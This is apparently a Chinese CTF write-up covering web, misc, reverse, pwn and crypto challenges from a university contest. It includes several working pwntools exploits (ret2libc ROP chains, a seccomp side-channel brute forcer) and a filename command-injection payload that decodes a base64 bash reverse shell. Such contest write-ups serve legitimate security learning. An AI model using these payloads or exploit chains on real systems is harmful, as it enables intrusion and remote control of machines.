WEB
Darksoul3
首先打开网页,(wc,魂!)
一个需要根据黑魂3物品描述,然后提交物品名称的题目,根据提示,需要写脚本自动提交1000次,那首先找找爬取网站,https://www.vgbaike.com/这个VG百科就挺不错的,然后写脚本,先把物品描述爬下来,然后放到网站中搜索,找到对应的物品名称
把物品名称返回给题目网站提交,等到correct:1000/1000就行了,哦别忘了前面还有一个start要点击,不然看不到题面,之前失败过几次,有个教训,最后一次提交后还要刷新一下才能返回页面结果,最后附上脚本如下:
import requests`
from bs4 import BeautifulSoup`
import time`
def solve_ctf():`
base_url =`"http://9998-4533eacd-08b3-4b9a-bc51-b5a917d2c4fc.challenge.ctfplus.cn/\"`
session = requests.Session()`
\# 点击start`
initial_response = session.get(base_url)`
start_link = BeautifulSoup(initial_response.text,`
\'html.parser\').find(\'a\', text=\'start\')`
if not start_link:`
print(\"错误: 未找到start链接\")`
return`
\# 获取初始题目页面`
question_page = session.get(base_url +`
start_link\[\'href\'\].lstrip(\'/\'))`
count = 0`
while True:`
try:`
count += 1`
\# 解析当前题目页面`
soup = BeautifulSoup(question_page.text, \'html.parser\')`
description = soup.find(\'p\').get_text(strip=True)`
\# 搜索物品`
search_url = f\"https://www.vgbaike.com/search.html?wd={description}\"`
search_response = requests.get(search_url)`
search_soup = BeautifulSoup(search_response.text, \'html.parser\')`
item_link = search_soup.find(\'a\', href=lambda href: href and`
\'/dark_souls_3/\' in href)`
if not item_link:`
print(f\"\\n第{count}次: 未找到匹配物品,描述内容: {description}\")`
print(\"可能原因: 1.描述不完整 2.百科无此物品 3.网络问题\")`
print(\"正在重新尝试\...\")`
question_page = session.get(base_url)`
continue`
item_name = item_link.text.strip()`
submit_url = f\"{base_url}?answer={item_name}\"`
result = session.get(submit_url)`
result_soup = BeautifulSoup(result.text, \'html.parser\')`
progress = result_soup.find(string=lambda t: t and \'correct:\' in t)`
if progress:`
progress = progress.strip()`
current, total = map(int, progress.split(\':\')\[1\].split(\'/\'))`
print(f\"\\n\[进度\] {progress} \| 已完成: {current/total\*100:.2f}%\")`
\# 如果完成了1000次正确提交`
if progress == \"correct:1000/1000\":`
\# 再刷新一次页面`
result = session.get(base_url)`
\# 打印最后一次正确提交后的页面内容`
print(\"\\n=== 最后一次提交后的页面内容 ===\")`
print(result.text)`
return`
print(f\"第{count}次提交: {item_name} - {progress}\")`
else:`
print(f\"第{count}次提交: {item_name} - 进度未知\")`
\# 获取新题目页面`
question_page = session.get(base_url)`
\# 不再等待 1 秒,尽可能加速进度`
\# time.sleep(1) \# 已去除`
except Exception as e:`
print(f\"\\n第{count}次出错: {str(e)}\")`
print(\"5秒后重试\...\")`
time.sleep(5)`
continue`
if \_\_name\_\_ == \'\_\_main\_\_\':`
solve_ctf()`
Neko
上网找到了修改教程
core.changeFloor('Start', 0, 0, 'up');
setTimeout(()=>{ core.changeFloor('MT350', 0, 0, 'up'); }, 500);跳转到350层
增加人物自身能力
core.setStatus('hp',9999999999999999999999999999999999999999999999)
core.setStatus('atk',999999999999999999999999999999999999999999999)
core.setStatus('def',999999999999999999999999999999999999999999999)
core.setStatus('money',99999)
core.setStatus('mdef',99999)
core.setItem('redKey',99)
core.setItem('yellowKey',99)
core.setItem('blueKey',99)
core.setItem('greenKey',99)
core.setItem('bomb',99)
core.setItem('hammer',99)
core.setItem('pickaxe',99)
core.setItem('earthquake',99)
ynuctf{7406f854-bc7f-4e55-8e72-5fc626c51644}
观看通关教学
通关后直接出弹窗
中间被黄色的怪卡住,多打几次就可以解除封印打左阿了
附上相关修改代码
core.changeFloor('Start', 0, 0, 'up');
setTimeout(()=>{ core.changeFloor('MT350', 0, 0, 'up'); }, 500);
if (core.floors[core.status.floorId].events['6,0']) {
core.trigger('6,0'); // 强制触发6,0位置的事件
setTimeout(() => {
core.enemys['左阿'].hp = 0; // 假设BOSS ID是'左阿'
core.enemys['纳可'].hp = 0; // 假设另一个BOSS ID是'纳可'
core.updateStatusBar();
}, 500);
}
// 方法2:直接通关
if (typeof core.win === 'function') {
core.win('强制通关特殊BOSS战');
} else {
core.status.gameOver = true;
core.status.win = true;
core.drawMap();
}
core.setStatus('hp',9999999999999999999999999999999999999999999999)
core.setStatus('atk',999999999999999999999999999999999999999999999)
core.setStatus('def',999999999999999999999999999999999999999999999)
core.setStatus('money',99999)
core.setStatus('mdef',99999)
core.setItem('redKey',99)
core.setItem('yellowKey',99)
core.setItem('blueKey',99)
core.setItem('greenKey',99)
ezrust
先分析main.js,Rust代码
– / : 首页,显示当前功德值,如果超过10亿会显示flag
– /reset : 重置功德值为0
– /upgrade : 处理功德操作
使用自动化攻击脚本
import requests
import threading
import time
url = "http://2333-b0318ed1-c560-479b-b929-8290ed592306.challenge.ctfplus.cn/upgrade"
data = {"name": "Loan", "quantity": 1}
# 使用连接池和会话保持
def worker():
session = requests.Session()
while True:
try:
session.post(url, data=data, timeout=3)
except:
pass
# 启动500个线程
threads = []
for i in range(500):
t = threading.Thread(target=worker, daemon=True)
t.start()
threads.append(t)
print(f"已启动线程 {i+1}/500", end='\r')
# 监控进度
check_url = url.replace("/upgrade", "")
while True:
try:
r = requests.get(check_url, timeout=5)
if "flag" in r.text:
print("\nFlag获取成功!")
print(r.text)
break
time.sleep(10) # 每10秒检查一次
except:
pass
用代码跑,有点耗时间,但是还是出来了
Ezpython
这是一个文件上传题目,要求上的是tar文件,这里我用的是命令注入漏洞以及反向 shell 的构造,需要用到内网穿透,找一个免费公网ip,
然后随便构造一个tar文件上传,bp抓包,
修改下文件名,把我的公网ip放进去base64编码,Content-Disposition: form-data; name=”file”; filename=”999.tar || echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC9zMC52MTAwLnZpcC8zODMwIDA+JjEi | base64 -d | bash ||”,然后在kali监听我的2333端口,弹到shell了
由于一些操作不熟悉,绕的久了些,
但终于给我弹出来了,这个 payload 能成功的关键是服务器端存在文件名命令注入漏洞,且在解压时没有有效过滤恶意命令。通过利用这种漏洞,攻击者能够在上传的文件中嵌入命令,触发反向 shell 并建立到本地监听端口的连接。
Misc
sign1
随波逐流一把梭
sign2
发现一只内少,题目提示下半身去哪了,猜测是修改过png高宽,丢到随波逐流梭一下,
出来了,hello No 10,这个大小写搞了挺久的,o和0分不清,l和1分不清
sign3
题目让我用kali linux,但我感觉不需要,直接先一把梭,
Binwalk发现有文件可以分离,
一个压缩包,有密码,在暴力破解前我们可以猜一下,1234,12345,000000,123456,猜对了,打开txt,不猜也可以,拿这个爆一下就行,
sign4
一个pcapng流量包,需要流量分析,Wireshark打开
直接搜索下flag,发现有flag.txt,然后丢到随波逐流中分析下
就找到了
sign5
encoded_text = “𐙹页魴鵻鵡鵡鑡𒁹鑵陨驶𔕟鹨驴驟驹𠍳”
decoded_bytes = base65536.decode(encoded_text) # 只进行Base65536解码,得到bytes对象
sign6
解密过程
Base64->栅栏->凯撒
Base64
栅栏(移动!)
凯撒(变化字符)
sign7
先看图片的EXIF信息:
拍摄时间是2024-8-18 14:30,照片中可以在机翼上看到一个标号B-2419。
直接在[flightaware](https://www.flightaware.com/)中搜索这个标号,应该是飞机的注册号:
可以搜到这是一架东航的飞机
但是查看更早的航班需要会员,那我们就试试手机app航班管家,找到那一天这个时候的航班飞行纪录
ynuctf{MU5156_济宁市}
Realsignin
Gif让我扫码,那就先一帧一帧分解出来,
放到在线ps里调整下,左边正的,右边倒着的,不这么想拼的时候总会缺,右边上面图片长应该对应左边下面
尝试扭曲还原,但最终发现扫不出来,可能是拼的太难看了,于是找到了https://merri.cx/qrazybox/这个网站自己手动绘制试试,
中间自动补全,
Reverse
Ez_jni
下载附件,一个apk,那先打开我们的mumu模拟器看看
让你输入一段文本然后process,会根据结果输出true或者false,
先不管这些,丢到jadx里看看,先搜索flag看看,
无果,题目是ez_jni,那就接着解压看看so文件,再丢到ida里面看看
根据JNI_OnLoad 函数的伪代码,经过分析后可以确定它实现了一个 RC4 加密算法,并在初始化过程中对某些数据(可能是加密后的 flag)进行了解密,然后shift+f12搜索下jni,
发现jni_Cloudever这个字符串,接着看看引用
关键找到了,jni_Cloudever这个就是我们的密钥,然后分析代码,利用python脚本如rc4解密
from binascii import unhexlify
# 合并后的32字节密文(xmmword_15000 + xmmword_15010)
cipher = unhexlify("8D851F15AB765E28581A4B0D5788E1E04F0BB13A8B39005D81D9C772BD0B90C3")
key = b"jni_CloudEver"
def rc4_decrypt(cipher, key):
S = list(range(256))
j = 0
# 密钥调度
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 生成密钥流并解密
i = j = 0
plain = []
for k in range(len(cipher)):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
plain.append(cipher[k] \^ S[t])
return bytes(plain)
plain = rc4_decrypt(cipher, key)
print(plain.decode())
ezmap
搜索ynu找到这个,顺着摸
来到这里的mainmain函数部分
分析代码,
得到Flag生成逻辑 当路径验证通过时:
runtime_concatstring3(
0,
“Flag: ynuctf{3814697265625”, // 固定前缀
*v44, // 用户输入的路径
“}” // 后缀
);
“`
flag格式为: ynuctf{3814697265625[用户路径]}
验证要求 :
必须通过 main_validatePath 验证
需要正好18步路径
– 必须到达迷宫终点 $
接下来我们看看main_validatePath
这是一个 迷宫行走验证算法 ,验证输入路径是否能从起点走到终点(‘$’)
使用方向控制字符:W(上)、S(下)、A(左)、D(右)
得到switch(main_maze[3 * v15][v14]) {
case ‘#’: return 0; // 撞墙
case ‘$’: break; // 到达终点
default: break; // 普通路径
}
之后得到地图mai_maze的地址57A1E0
得到地图构造
maze = [
“##$############”, # y=0
“##!############”, # y=1
“##r#duo########”, # y=2
“##evE#lC2e#####”, # y=3
“#########m#####”, # y=4
“######elco#####”, # y=5
“######w########” # y=6
]
然后自己试着从最下面的W走一下,走到上面$不撞墙刚好16步,
WDDDWWAAAWAASAAWWW
这是关于路径的部分
最后输入程序:
发现弹出的flag(原来那串数字没有用giao)
Ez_apk
根据代码分析,你需要输入一个特定的字符串,使得经过加密后与 TARGET_ENCRYPTED = “RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN” 完全匹配
密钥已知: SECRET_KEY = “ynuCTF_CloudEver”
1. 准备密钥: “ynuCTF_CloudEver”
2. 准备密文: RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN
3. Base64解码密文
4. 用AES解密二进制数据
5. 输出解密结果
Ez_llvm
这道题我是有点非预期了,题目提示llvm,那就用llvm混淆,一顿操作后得到源c文件,看看,
分析代码,要求输入29个字符,- 然后,它进入一个循环,从索引0开始,循环条件和步长都是通过一系列复杂的数学表达式计算得出的。
– 在循环中,它检查当前字符与另一个位置的字符进行异或操作后,是否等于预定义的target数组中对应位置的值。
– 最后,它还检查一个特定位置的字符与某个计算值的异或结果是否等于target数组中的特定值。猜测flag藏在target中,
然后用ida打开,找到有关target数组和dword全局变量,
刚好29个
可以把值全都带进去计算,但是考虑到计算复杂,跑了好多脚本跑不出来,从网上找了好多脚本,包括z3解法构造约束器来计算,动态gdb调试,换成c来跑,但是也跑了好多脚本没跑出来,最后想到可以从已知前缀开始,通过异或关系直接推导后续字符暴力解决(doge)
# 给定的target数组(十六进制)
target = [
0x17, 0x1B, 0x16, 0x17, 0x12, 0x1D, 0x17, 0x5D,
0x47, 0x1B, 0x32, 0x27, 0x48, 0x42, 0x2D, 0x2C,
0x1B, 0x01, 0x0F, 0x12, 0x2B, 0x6E, 0x42, 0x2C,
0x39, 0x13, 0x1B, 0x13, 0x28
]
# 已知flag前缀为 "ynuctf{"(7字节)
flag = list(b"ynuctf{") + [0] * (29 - 7) # 初始化剩余字符为0
# 从第7个字符开始推导(索引6是'{')
for i in range(6, 28): # 覆盖到索引27
if flag[i] == 0: # 未推导的位置跳过
continue
# 根据异或规则:flag[i] \^ flag[i+1] = target[i]
flag[i+1] = flag[i] \^ target[i]
# 处理最后一个字符(索引28)
# 根据反编译代码中的最终约束条件:flag[28] \^ key = target[28]
# 假设 key=0x28(根据题目特征推导)
flag[28] = target[28] \^ 0x28 # 0x28 \^ 0x28 = 0x00
# 输出结果(自动填充可能的字符)
print("暴力推导结果:", bytes(flag).decode(errors="replace"))
ez_pyd
分析第一个代码,代码逻辑是:
1. 从用户输入获取flag
2. 使用 xor.encrypt() 函数对flag进行加密,应该是异或类型的,可以反向回去
3. 将加密结果与固定字符串 “0e0b1900440b1e4511172a0d1b1228111e1a6f155540261c1015111404004d1e” 比较
4. 根据比较结果输出”wrong”或”right”
但是xor.cp310-win_amd64.pyd 中的 cp310 表示该模块为 Python 3.10 编译
那既然这样,装一个python3.10的虚拟环境,
直接把这串字符进行16进制转换,再异或一遍,
PWN
babystack
Checksec看下,得出
开了NX (堆栈不可执行)
意味着不能直接在栈上执行shellcode
必须使用ROP或已有代码片段进行攻击
无 canary
可以直接进行栈溢出攻击
不需要绕过canary保护
所有地址都是固定的
可以直接使用IDA中看到的地址
找到bin/sh
这里找到push地址
– 后门函数入口: 0x4006E6
– ret指令地址: 0x4006FA (栈对齐)
– buf 到 rbp 的距离:0x10 (16字节)
– rbp 到返回地址的距离:0x8 (8字节)
– 总偏移量 = 16 + 8 = 24字节
EXP
Babyrop
检查保护机制,开了NX,没有栈保护,可能存在栈溢出漏洞
程序使用了动态链接库 libc.so.6
Ida发现有个vuln函数
有提示字符串”Can u return to libc ?”和”Try u best!”
解题思路应该是 ret2libc 攻击,步骤如下:
1. 泄露libc地址
2. 计算libc基地址
3. 获取system和/bin/sh地址
4. 构造ROP链
需要下载 glibc 2.2.5 对应的libc.so.6文件
2.25没找到,试试2.23的吧
拿信息
from pwn import *
p = remote('nc1.ctfplus.cn','28055')
elf = ELF('./pwn')
pop_rdi = 0x0000000000400733
payload = b'A'*0x28
payload += p64(pop_rdi) + p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.send(payload)
p.recvuntil('story!\n')
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
log.success(hex(puts_addr))
system = puts_addr - 0x2a300
binsh = puts_addr + 0x11d7b7
payload = b'A'*0x28
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
dizzy
这道题感觉有点像逆向题,首先查看下保护机制,基本都开了保护
接着放到ida里看下
这里应该就是关键,”输入数组 + 字符串比对 + 条件触发 shell,首先从用户那里读入一系列 short(16 位整数),写入 command 缓冲区,然后command 开头的一段区域执行 += 99,一次处理 4 字节 (int)。也就是说你输入的数字,最终会变成 输入值 + 99 存到 command 里,最后如果 command[0] == byte_201010,就会去逐字节比对两个字符串是否相同,一旦 mismatch 或 byte_201010 结束,就判断是否 *v6 != 0,只要 byte_201010 还没结束(即不全匹配),就会 exit(1),我们看看byte_201010,
0x50 = ‘P’,拼起来就是”PvvN| 1S S0 GREAT!”, command 缓冲区的大小为 0xA0 字节,即 160 字节。程序通过 _isoc99_scanf(“%d”, v5); 读取整数,并将其存储在 command 缓冲区中,每次读取占用 4 字节(一个 int)。因此,最多可以读取 160 / 4 = 40 个整数。所以我们可以填充到80个字节,目标字符串 “PvvN| 1S S0 GREAT!;/bin/sh” 的长度小于 80 字节,为了确保在转换为整数数组时,每 4 字节一组,填充至 80 字节可以得到 20 个整数。这样可以确保 payload 的长度与程序预期的输入长度一致,避免因长度不足导致的错误。
构造 Payload:
我们需要将目标字符串转换为整数数组,每个整数代表4个字符的ASCII码(小端序)。然后,从每个整数中减去99,以抵消程序中 *v3++ += 99; 的操作。
中间失败了无数次后,总结发现程序在遇到第一个 null 字节就结束(验证只检测到了 “PvvN| 1S S0 GREAT!”),这时候就得利用;,分隔后前半段是错误的后面的仍可执行,再考虑字符串的截断,最终exp构造为
from pwn import *
context.log_level = "debug"
io = remote("nc1.ctfplus.cn", 33301)
# 构造目标字符串,并填充至80字节
payload_str = "PvvN| 1S S0 GREAT!;/bin/sh".ljust(80, "\x00")
# 将字符串转换为整数数组
arr = []
for i in range(0, len(payload_str), 4):
chunk = payload_str[i:i+4]
# 确保chunk长度为4
chunk = chunk.ljust(4, "\x00")
# 将每个字符转换为ASCII码,并组合为整数(小端序)
val = (ord(chunk[3]) << 24) | (ord(chunk[2]) << 16) | (ord(chunk[1]) << 8) | ord(chunk[0])
# 减去99以抵消程序中的加法操作
val -= 99
arr.append(val)
for val in arr:
io.sendline(str(val))
io.interactive()
cmp
这个题我磨了很久,主要困扰在libc版本还有算基地址,对侧信道不怎么懂,下面是我的主要解题历程:
例行检查
没有栈保护,说明可能存在栈溢出漏洞,NX disabled – 栈可执行,意味着可以在栈上执行shellcode
注意:PIE enabled – 地址随机化开启,每次运行基地址都会变化
Nc连上去看看
发现他给了三个地址,还不是很清楚想干什么,
再丢到ida里看看
这里是main函数的部分,泄露libc中puts的地址,flag地址,还有全局变量y?
一波分析它主要干这么几件事:
1. 自报家门 上来就直接告诉你三个关键地址
– puts函数的地址 → 用来推算libc库的位置
– flag的存放地址 → 直接告诉你flag在哪
– 一个全局变量的地址 → 可能用来写shellcode
2. 挖了两个坑 :
– 第一个坑:让你往全局变量里写东西(最多写0x40字节),但没检查这个变量实际能装多少
– 第二个坑:栈上明明只开了32字节的空间,却允许你读入0x100字节(足足256字节),典型的缓冲区溢出漏洞
注意到unk_4060还有下面sub_1219,
这里的数据都是空的,猜测是未初始化,
seccomp沙箱,前面一大串变量声明和赋值其实是在构造一个 seccomp 规则结构体
– 这些数字组合起来定义了哪些系统调用被允许/禁止
结合这道题的提示:侧信道,于是我又上网看了一些关于侧信道的题目,发现这类题目的重点是在于利用当程序没有直接输出但存在条件判断时,通过间接方式(如时间差、错误反馈等)获取信息,从而爆破出flag,
拿点构造rop链的偏移信息,搞了个脚本没跑出来,如下,跑了20多分钟才敢下定论跑不出来呜呜
之后又拿ubuntu跑了下,还是没跑出来,这里附上当时测试用到exp:
import sys
from pwn import *
# context(arch='amd64', os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
bpt = [
"*$rebase(0x14c6)",
'*0x'
]
libc = ELF(libc)
t = ELF(binary)
def sig_judge():
try:
r.recvline(timeout=1)
print("loop!")
return True
except:
print("EOF")
return False
# count = 10
fuzz_part = ''
# fuzz_part = ''
count = len("flag{"+fuzz_part) + 1
while 1:
for c in range(0x30, 126+1):
c = chr(c)
r = process("./pwn")
# gdb.attach(r, "b *$rebase(0x14c6)")
# gdb.attach(r)
r.recvuntil("puts address:")
libc_base = int(r.recv(14), 16) - libc.sym['puts']
r.recvuntil("flag:")
flag_addr = int(r.recv(14), 16)
t_base = flag_addr - 0x4060
print(hex(libc_base))
print(hex(t_base))
fuzzflag_addr = t_base + 0x40A0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x904a9
syscall_addr = libc_base + 0x29db4
fuzz_flag = "flag{" + fuzz_part + c
onepayload = (fuzz_flag).encode("utf-8").ljust(0x40, b'\x00')
r.sendafter("Guess\n", onepayload)
payload = b'i'*0x28 + p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(fuzzflag_addr)+p64(pop_rdx_rbx)+p64(count)+p64(0)+p64(libc_base+0x28590)
payload += p64(pop_rdi)+p64(0)+p64(syscall_addr)
r.send(payload)
# pause()
if sig_judge():
count += 1
fuzz_part += c
print(fuzz_part)
r.close()
break
else:
r.close()
pause()
if c == '}':
break
print("finish!!!")
print(fuzz_part)
输出全是0
经过多番排查,找到原因是libc版本的问题,
题目给的附件libc.so.6是2.35版本的,也就是说上面那个puts函数后面应该是e50才对
而我的ubuntu:版本是2.39的,问题出在脚本用的是系统的libc,检测不到我的题目给的libc文件,不懂怎么改,调试了好久没成,最后干脆上网找了ubuntu22.04的镜像(系统默认2.35版本libc)
这样就对了,之后成功运行本地这个测试脚本,跑出了我自己构造的flag,(这里图片找不到了),接下来就只要把容器开启,把脚本改成远程的就行,这里也是磨了很久,主要是字符串爆破的范围还有连接时候的稳定性,这里附上最终完整exp:
import sys
from pwn import *
import time
binary = './pwn'
libc = './libc.so.6'
bpt = [
"*$rebase(0x14c6)",
'*0x'
]
libc = ELF(libc)
t = ELF(binary)
def sig_judge(r):
try:
r.recvline(timeout=1)
print("loop!")
return True
except Exception as e:
print("EOF")
return False
# 初始化:fuzz_part 存储已经确认的 flag 部分,初始为空
fuzz_part = ''
# 根据flag格式 利用已知前缀"ynuctf{" 开始猜
# count 用于计算当前猜测部分的长度
count = len("ynuctf{" + fuzz_part) + 1
# 这里扩展字符范围为从 32 到 256(即包括所有扩展ASCII字符)
char_range = range(32, 256)
# 外层循环:每个位置的字符猜解
while True:
found_char = False # 当前位置是否找到正确字符
# 内层循环:遍历所有候选字符
for num in char_range:
c = chr(num)
print(f"Trying character: {c} -- Candidate for current position, building flag: ynuctf{{{fuzz_part}{c}")
# 连接远程靶机(每次新的爆破尝试都建立新连接)
r = remote("nc1.ctfplus.cn", 23207)
# 从靶机获取动态地址
r.recvuntil("puts address:")
puts_addr = int(r.recv(14), 16)
libc_base = puts_addr - libc.sym['puts']
r.recvuntil("flag:")
flag_addr = int(r.recv(14), 16)
t_base = flag_addr - 0x4060
print(f"Libc base: {hex(libc_base)}, t_base: {hex(t_base)}")
fuzzflag_addr = t_base + 0x40A0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x904a9
syscall_addr = libc_base + 0x29db4
# 构造要发送的数据,注意flag格式为 "ynuctf{"
fuzz_flag = "ynuctf{" + fuzz_part + c
onepayload = fuzz_flag.encode("utf-8").ljust(0x40, b'\x00')
r.sendafter("Guess\n", onepayload)
# 构造ROP payload,此处填充了缓冲区(0x28 字节),然后利用ROP链操作
payload = b'i' * 0x28
payload += p64(pop_rdi) + p64(flag_addr)
payload += p64(pop_rsi) + p64(fuzzflag_addr)
payload += p64(pop_rdx_rbx) + p64(count) + p64(0)
payload += p64(libc_base + 0x28590)
payload += p64(pop_rdi) + p64(0) + p64(syscall_addr)
r.send(payload)
# 根据响应判断是否猜对当前字符
if sig_judge(r):
found_char = True
count += 1
fuzz_part += c
print(f"Success: Current flag so far: ynuctf{{{fuzz_part}")
r.close()
break
else:
print(f"Failed for character: {c}")
r.close()
#短暂延时避免请求过快
time.sleep(0.2)
# 如果当前位置没有任一字符通过,则退出猜解(说明无法获得正确字符)
if not found_char:
print("No valid candidate found for current position. Ending fuzzing process.")
break
# 如果猜测到了结束符 '}',则认为 flag 完整结束
if fuzz_part.endswith('}'):
break
print("Finish!!!")
print(f"Final flag: ynuctf{{{fuzz_part}")
跑了10分钟左右爆出来了
encrypted_stack
例行检查 没有栈保护,开了NX,数据段不可执行。同时栈也是不可执行的。没有PIE,内存地址固定,综上,可以考虑下ret2libc
我们的目标是拿到shell,换言之就是,劫持二进制可执行文件的执行流程,让程序执行system(“/bin/sh”)
Nc看看
还不知道想干嘛
Ida看看main函数
分析一波
– 程序初始化后显示”press enter”和”input key”提示
– 进入一个循环20次的验证过程(v3初始为20)
– 每次循环中:
– 生成一个随机数v5并显示
– 读取用户输入到v14[0]
– 进行一系列复杂的数学运算(涉及sub_400A70和sub_400BA0函数)
– 最后比较用户输入经过运算后的结果是否等于原始随机数v6
这里看看这两个qword的值
再看下这两个函数
一个取模,另一个除法,逻辑有点绕,拿给AI看看,告诉我这是标准RSA加密流程,那就好搞了
这是模数n
这是e
n看起来不大,我们直接yafu分解,
那么程序给我的就是密文c了,我要解出明文m放进去回答,然后连续通过20次验证,先本地验证一下看下对不。。。。。。。对了,于是有了下面代码
from Crypto.Util.number import inverse
from pwn import remote, context
context.log_level = 'debug'
# RSA 参数
p = 261571747
q = 361571773
n = p * q
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
def solve():
io = remote("nc1.ctfplus.cn", 41297)
# 等待第一次的"press enter"
io.recvuntil(b"press enter")
io.send(b"\n") # 按下回车键
# 开始新的循环,进行 20 次
for i in range(20):
print(f"[+] Round {i+1} starting...")
# 只有第一次才需要等待 input key,后面直接接收 v6(这里要看清楚程序的输出)
if i == 0:
io.recvuntil(b"input key\n")
# 接收 v6
v6 = int(io.recvline().strip())
print(f"[+] Challenge {i+1}: v6 = {v6}")
# 计算解密结果
answer = pow(v6, d, n)
# 发送解密结果并加上回车符
io.send(str(answer).encode() + b'\n')
# 接收并确认程序是否输出了正确的内容
response = io.recvline().strip()
print(f"[+] Round {i+1} passed with response: {response.decode()}")
# 通过所有轮次,等待后续响应(如 shell 或 flag)
print("[+] All rounds completed successfully, awaiting shell...")
io.interactive()
if __name__ == "__main__":
solve()
输出是这样的
看起来后面还有一层,回去看看main函数,结尾还有
那应该就是我们刚才分析的这里要ret2libc了,shift+f12找input you name,看看引用,原来就是这里的sub400B30
读取输入,但是存在栈溢出漏洞,那就来构造rop
拿信息
题目没给libc,那就用puts的泄露+libsearcher去猜
Exp:
from pwn import *
from Crypto.Util.number import inverse
from LibcSearcher import LibcSearcher
import time
# ========== 通用配置 ==========
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# ========== 题目信息 ==========
HOST, PORT = "nc1.ctfplus.cn", 30577
# ========== RSA 参数 ==========
n = 94576960329497431
e = 65537
p = 261571747
q = 361571773
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
# ========== 函数区块 ==========
def pass_rsa_challenge(io):
for i in range(20):
while True:
line = io.recvline().strip()
if line.isdigit():
v6 = int(line)
break
else:
log.debug(f"[RSA-{i}] Skipped: {line}")
answer = pow(v6, d, n)
io.sendline(str(answer))
io.recvuntil(b"Your input is ")
io.recvline()
def leak_puts(io, payload):
io.sendlineafter(b"input you name:\n", payload) # 确保等待到这个提示
leaked = io.recvn(6)
log.info(f"Raw leaked bytes: {leaked.hex()}")
puts_addr = u64(leaked.ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(puts_addr)}")
return puts_addr
def resolve_libc(puts_addr):
libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")
return libcbase, system_addr, binsh_addr
# ========== 主流程 ==========
def main():
while True:
try:
io = remote(HOST, PORT)
# ========== 第一阶段 ==========
io.recvuntil(b"press enter") # 等待提示
io.sendline() # 发送 Enter
io.recvuntil(b"input key") # 等待到 input key
pass_rsa_challenge(io)
io.recvuntil(b"input you name:\n") # 等待名字提示
# ========== 第一轮 payload,泄露 puts ==========
pop_rdi = 0x400952
puts_plt = 0x400700
puts_got = 0x602018
main_addr = 0x4007E0
ret=0x4006e1
payload1=b"a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload1)
puts_addr=u64(io.recv(6).ljust(8,b"\x00"))
print("puts_addr=="+hex(puts_addr))
# ========== 解析 libc ==========
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
print("libcbase:",hex(libcbase))
system_addr=libcbase + libc.dump("system")
gets_addr = libcbase + libc.dump("gets")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
log.success(f"system address: {hex(system_addr)}")
log.success(f"bin_sh address: {hex(bin_sh_addr)}")
# ========== 第二阶段 ==========
io.recvuntil(b"press enter") # 等待提示
io.sendline() # 发送 Enter
io.recvuntil(b"input key") # 等待到 input key
pass_rsa_challenge(io)
io.recvuntil(b"input you name:\n") # 等待名字提示
# ========== 第二轮 payload,打 shell ==========
payload2 = b"a" * 0x48 + p64(pop_rdi) + p64(0x602100) + p64(gets_addr) + p64(pop_rdi) + p64(0x602100) + p64(ret) + p64(system_addr)
io.sendline(payload2) # 发送第二轮 payload
io.interactive() # 获取 shell
break
except Exception as e:
log.warning(f"Error occurred: {e}")
try:
io.close()
except:
pass
time.sleep(1)
if __name__ == "__main__":
main()
这里说明一下,因为我拿到泄露的puts地址后,程序会跳会main函数开头,所以需要两轮rsa验证,打两次payload,第二次payload也有点小问题,原本的payload2是payload2 = b”a”*0x48 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)输出是下面这个,进入了sh,但可能bin/sh传的地址不对,
后来我又用了librearcher查到的其他版本试了下,都不行,没有能和远程libc一摸一样的版本,传进去的地址都是错的,但也可能远程里就没写bin/sh,所以干脆我自己把bin/sh写进去得了,用的gets写,找个空位置payload2 = b”a” * 0x48 + p64(pop_rdi) + p64(0x602100) + p64(gets_addr) + p64(pop_rdi) + p64(0x602100) + p64(ret) + p64(system_addr)
拿到shell:
CRYPTO
科目一
基础rsa解密
什么都给了,一把梭就行,
科目二
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import isqrt
n = 14800398328881299590819340504190580380456092059631690075005063133984540881936660258452775621223924666544144954334836222555637121913861461911511120598772742612257211866734223223551169379845956377316463148565472319496083497784140506423369878869325653192628559394438100890677759092281833985211109032193525146470474574038555501027831794382526298588084843624151270091755405172125755295019041607824556110833400237603510574340077488066619464463891145936844856029790556031249993366491347944857952783644884517487931959497277671000233728500580815998316871028625130306976346553172765025393568266481210362221045569800909331412733
c = 3226683255719031196217848694899679951486791739097829974521488957087083213961668895509559743441356033794647718015708053443544565749857917384859689397409032230013960380856389863512174152232545827021355026091788157830227404858132633755050279847337901334912864925648797224438856698330421196499553619596082492124166150997294968457955820549848688256744335135338361133281398238702530869245058134224833345813289889841131448598573914060539200838772794599083335075442300325391226963163497906943787479197157629086054275039547426187240897804712471769266518411206372631294491714326407919153747950197382718191269761217869751488836
